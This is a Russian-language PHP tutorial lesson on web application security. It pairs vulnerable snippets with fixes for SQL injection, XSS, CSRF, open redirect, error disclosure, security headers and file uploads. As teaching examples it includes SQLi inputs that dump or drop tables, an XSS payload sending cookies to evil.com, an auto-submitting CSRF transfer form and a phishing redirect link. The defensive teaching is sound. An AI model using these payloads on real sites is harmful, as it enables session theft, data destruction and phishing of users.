Безопасность веб-приложения

Самые частые атаки на PHP-приложения - те, от которых легко защититься: SQL-инъекция, XSS, CSRF, open redirect, угон сессии, утечка данных через ошибки. Все они входят в OWASP Top-10 и встречаются в каждом первом легаси-проекте.

SQL-инъекция (SQLi)

Эта тема уже была в уроке 9 про PDO, но повторим главное: никогда не склеивай SQL и пользовательский ввод.

<?php
// КЛАССИЧЕСКАЯ ДЫРА
$id = $_GET['id'];
$pdo->query("SELECT * FROM users WHERE id = $id");
// атакующий шлёт ?id=1 OR 1=1 - получает всех пользователей
// или ?id=1; DROP TABLE users - удаляет таблицу

// ПРАВИЛЬНО
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);

Когда плейсхолдеров недостаточно

Имена таблиц и колонок плейсхолдерами не передаются. Если они зависят от ввода (?order_by=email) - только белый список:

<?php
$allowed = ['id', 'email', 'created_at'];
$orderBy = in_array($_GET['order_by'] ?? '', $allowed, true)
    ? $_GET['order_by']
    : 'id';

$sql = "SELECT * FROM users ORDER BY $orderBy LIMIT 10";

Никаких «я просто экранирую и подставлю» - это всегда дыра.

XSS - Cross-Site Scripting

Атакующий вставляет в свой ввод JavaScript, который выполняется в браузере других пользователей. Канонический пример:

<?php
// если в комментарии пришло <script>fetch('https://evil.com?c='+document.cookie)</script>
echo "<div>{$_POST['comment']}</div>";

Скрипт выполнится у каждого, кто откроет страницу - может украсть cookies, изменить страницу, отправить запрос от имени пользователя.

Защита: экранирование при выводе

<?php
echo '<div>' . htmlspecialchars(
    $_POST['comment'],
    ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,
    'UTF-8',
) . '</div>';

htmlspecialchars превращает <, >, ", ', & в HTML-entities. Браузер увидит &lt;script&gt; и выведет его как текст, не выполнит.

Правила:

  • Экранируй на выводе, а не на входе. Один и тот же текст может оказаться в HTML, в JSON, в атрибуте - кодировки разные.
  • В шаблонах используй движок с автоэкранированием (Twig). Сырая интерполяция строк - путь к багам.
  • Внутри JS: json_encode($value, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) - безопасно для вставки в <script>.

Атрибуты HTML

<?php
// ОПАСНО: пользователь может закрыть кавычку и добавить onerror
echo "<img src=\"{$_GET['photo']}\'>';

//
echo '<img src="' . htmlspecialchars($_GET['photo'], ENT_QUOTES) . '">';

ENT_QUOTES критично - без него двойные кавычки превратятся в &quot;, а одинарные останутся как есть, и можно пробить атрибут через '.

URL-атрибуты

Для href/src ещё одна ловушка - javascript: URI:

<?php
//
echo '<a href="' . htmlspecialchars($_GET['next']) . '">далее</a>';
// если next = "javascript:alert(1)" - экранирование не спасает

// дополнительная проверка схемы
$next = $_GET['next'];
if (!preg_match('#^https?://#', $next) && !str_starts_with($next, '/')) {
    $next = '/';
}
echo '<a href="' . htmlspecialchars($next) . '">далее</a>';

Content Security Policy

Глобальная защита от XSS - CSP-заголовок:

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'");

Запрещает inline-скрипты и загрузку с чужих доменов. Это «второй забор» - если экранирование где-то проёбано, CSP всё равно не даст выполниться чужому JS.

CSRF - Cross-Site Request Forgery

Жертва залогинена на твоём сайте. Атакующий заставляет браузер жертвы отправить запрос (через форму на своём сайте, через <img src>, через JS) - браузер прикладывает cookies жертвы, и твой сервер думает, что это легитимный запрос.

<!-- evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
    <input name="to" value="attacker">
    <input name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>

Защита: CSRF-токен

В сессии сохраняется секретный токен, его кладут в форму скрытым полем. Атакующий не знает токен - отправить валидный запрос не может.

<?php
function csrfToken(): string
{
    if (empty($_SESSION['csrf'])) {
        $_SESSION['csrf'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf'];
}

function csrfVerify(): void
{
    $token = $_POST['_csrf'] ?? '';
    if (empty($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $token)) {
        http_response_code(403);
        exit('CSRF token mismatch');
    }
}

В каждой форме:

<input type="hidden" name="_csrf" value="<?= htmlspecialchars(csrfToken()) ?>">

Перед обработкой POST/PUT/DELETE:

<?php
csrfVerify();
// дальше - действия с побочными эффектами

SameSite cookie

Современная альтернатива/дополнение - SameSite=Lax (или Strict) у session cookie. Браузер сам не пошлёт cookie с кросс-сайтового POST. Но не стоит полагаться только на это - SameSite поддерживают не все клиенты, и Lax всё ещё пропускает GET с куками.

Open redirect

<?php
// после логина шлём на ?redirect=...
$next = $_GET['redirect'] ?? '/';
header("Location: $next");
exit;
// атакующий шлёт ссылку yoursite.com/login?redirect=https://evil.com
// жертва логинится → мгновенно улетает на фишинговый сайт с похожим UI

Защита: только относительные пути или белый список

<?php
$next = $_GET['redirect'] ?? '/';

// разрешаем только локальные пути
if (!str_starts_with($next, '/') || str_starts_with($next, '//')) {
    $next = '/';
}

// или строгий белый список:
$allowed = ['/dashboard', '/profile', '/orders'];
if (!in_array($next, $allowed, true)) {
    $next = '/';
}

header("Location: $next");
exit;

//evil.com - это схема-relative URL, браузер интерпретирует как https://evil.com. Поэтому проверять только str_starts_with('/') мало.

Password storage

Только password_hash + password_verify (см. урок 19 про сессии). Никаких самописных солей, ни md5(password . $salt), ни «у меня же сайт маленький».

Раскрытие ошибок

В проде стек ошибок видеть никому, кроме тебя в логах:

; php.ini для продакшна
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php-errors.log
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT

И единый перехватчик:

<?php
set_exception_handler(function (\Throwable $e) use ($log) {
    $log->error('uncaught', [
        'msg'   => $e->getMessage(),
        'file'  => $e->getFile(),
        'line'  => $e->getLine(),
        'trace' => $e->getTraceAsString(),
    ]);
    http_response_code(500);
    header('Content-Type: application/json');
    echo json_encode(['error' => 'internal_error']);
});

Пользователь видит «internal error», ты видишь стектрейс в логах. Никогда не выводи $e->getMessage() пользователю (об исключениях - урок 7).

Заголовки безопасности

Минимум для прода:

<?php
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');                  // защита от clickjacking
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Strict-Transport-Security: max-age=31536000; includeSubDomains'); // только HTTPS
header("Content-Security-Policy: default-src 'self'");

Проверить заголовки своего сайта - securityheaders.com.

File uploads

<?php
// путь из ввода - directory traversal
$dest = __DIR__ . '/uploads/' . $_FILES['avatar']['name'];

// генерируем имя сами, проверяем MIME
if ($_FILES['avatar']['error'] !== UPLOAD_ERR_OK) {
    throw new RuntimeException('upload error');
}
if ($_FILES['avatar']['size'] > 2_000_000) {
    throw new RuntimeException('too large');
}
$mime = mime_content_type($_FILES['avatar']['tmp_name']);
$allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
if (!isset($allowed[$mime])) {
    throw new RuntimeException('unsupported');
}
$name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];
move_uploaded_file($_FILES['avatar']['tmp_name'], __DIR__ . "/uploads/$name");

Папка uploads/ не должна быть исполняемой: если туда положат shell.php, сервер должен отдать его как файл, а не выполнить. В nginx: location /uploads/ { types {} default_type application/octet-stream; }.

Как это в Symfony

Все эти защиты в Symfony - встроенные:

  • Twig автоэкранирует все переменные по умолчанию ({{ comment }} → htmlspecialchars). Чтобы вывести raw HTML, нужно явно написать |raw.
  • CSRF protection автоматический для форм через symfony/form + symfony/security-csrf. Невалидный токен → 403.
  • Security Component управляет login/logout, регенерирует session ID, хеширует пароли через auto (bcrypt/argon2).
  • SecurityBundle добавляет заголовки X-Frame-Options, Content-Security-Policy и т.п. через framework.yaml.

Сам факт использования Symfony защищает от 80% дыр. Не использовать его средства защиты и писать вручную - главный источник уязвимостей.

Типичные ошибки

  1. «Это внутренняя админка, нам не страшно». Большинство утечек - изнутри: SSRF, XSS в инструментах саппорта, leaked credentials. Безопасность одинаковая везде.
  2. Экранирование на входе. Базы потом «застывают» с &lt; в значениях. Экранируй на выводе и в нужной кодировке (HTML / JS / URL).
  3. Полагаться только на JS-валидацию. Клиент отправит что угодно. Валидируй на сервере.
  4. strip_tags() как защита от XSS. Дырявое решение: атрибуты onerror, схемы javascript: и UTF-8 хаки спокойно проходят. Используй полноценный санитайзер вроде ezyang/htmlpurifier.
  5. Логировать пароли и токены. В лог идут только идентификаторы (user_id), никогда password, Authorization, cookie.

Best practices

  • Параметры запроса к БД - только через prepared statements с плейсхолдерами; имена таблиц и колонок из ввода - только через белый список, никакой конкатенации.
  • Экранируй на выводе в нужной кодировке: htmlspecialchars(ENT_QUOTES) для HTML, json_encode(JSON_HEX_TAG | JSON_HEX_AMP) для вставки в JavaScript.
  • Отключи display_errors на проде: пользователь видит «internal error», в лог идёт полный стектрейс с error_log.
  • Выставляй как минимум четыре заголовка безопасности: X-Content-Type-Options: nosniff, X-Frame-Options: DENY, Referrer-Policy, Strict-Transport-Security.
  • Безопасность одинакова для публичных и внутренних систем: XSS в инструменте саппорта или IDOR в админке бьёт так же больно, как атака снаружи.

Мини-задание

  • Эндпоинт /search?q=... - выведи введённое в <h1> через htmlspecialchars(ENT_QUOTES, 'UTF-8'). Проверь, что <script>alert(1)</script> показывается как текст.
  • Эндпоинт /transfer (POST) - добавь CSRF-токен в сессии и проверку hash_equals. Запрос без токена → 403.
  • Эндпоинт /login принимает ?next=.... Защити от open redirect (разреши только пути на /, отбрось //evil.com).
  • Глобальный set_exception_handler - в проде возвращает JSON {error: 'internal_error'}, в dev - стектрейс. Различай по getenv('APP_ENV').
  • Добавь во все ответы заголовки: X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Strict-Transport-Security.

Зарегистрируйтесь бесплатно, чтобы пройти квиз, решить задание с автопроверкой и вести прогресс.